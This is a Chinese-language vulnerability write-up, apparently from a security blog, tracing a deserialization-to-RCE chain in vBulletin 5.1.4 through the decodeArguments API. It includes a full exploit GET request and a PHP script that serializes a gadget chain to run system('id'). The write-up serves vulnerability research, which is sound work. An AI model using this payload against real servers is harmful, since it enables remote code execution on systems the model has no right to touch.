这漏洞是我在分析 vBulletin5.X前台RCE(CVE-2019-16759)时,无意间搜到的,就顺便学习下。
这里我不会再赘述环境的搭建,因为在上篇分析文章中已经提过了,具体可参考 vBulletin5.X前台RCE分析(CVE-2019-16759) ,本文的测试环境仍为 Ubuntu16.04+Apache+PHP 5.6.40+vBulletin5.1.4 。
我们先来看下本次漏洞的 EXP ,可以发现其存在反序列化字符串,估计是个 反序列化->代码执行 的攻击链。
GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D HTTP/1.1 Host: 192.168.0.106 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close
接下来,我们直接从入口文件开始跟进。在下图 第38行 处下断点,当我们直接单步跳过时,会发现代码执行漏洞被触发了,说明漏洞代码应该在 vB5_Frontend_ApplicationLight 类的 execute 方法中。在 execute 方法的上一行,程序会根据 $_REQUEST['routestring'] 来决定之后调用 vB5_Frontend_ApplicationLight 类的哪个方法,具体代码如下图所示。
由于我们的 $_REQUEST['routestring'] 是 ajax/api/hook/decodeArguments ,程序就会调用 vB5_Frontend_ApplicationLight 类的 handleAjaxApi 方法。然后经过一系列反射调用,就进入了 vB_Api_Hook 类的 decodeArguments 方法。
在 decodeArguments 方法中,我们看到了之前 GET 方式传进来的数据被反序列化了,这就存在实例化任意类问题。程序还对反序列化后的数据进行了迭代,而当对一个继承了 Iterator 接口的类对象进行迭代时,会触发其 rewind 方法。
我们可以搜寻可利用的 rewind 方法,这里以 vB_dB_Result 类的 rewind 为例。当我们设置了 $this->recordset 属性的时候,就会调用 $this->db 类的 free_result 方法。我们继续搜 free_result 方法,会发现 vB_Database 类的 free_result 方法可以动态调用任意函数,且参数也可控。由于 vB_Database 类是一个抽象类,所以我们只要找到其继承类即可开始构造 EXP 。
最终 EXP 构造如下:
<?php class vB_Database_MySQLi { var $functions = array(); public function __construct($functions = '') { $this->functions['free_result'] = $functions; } } class vB_dB_Result { protected $db = false; protected $recordset = false; public function __construct($db='', $recordset='') { $this->db = $db; $this->recordset = $recordset; } } $vb_database_mysqli = new vB_Database_MySQLi('system'); $vb_db_result = new vB_dB_Result($vb_database_mysqli, 'id'); echo urlencode(serialize($vb_db_result));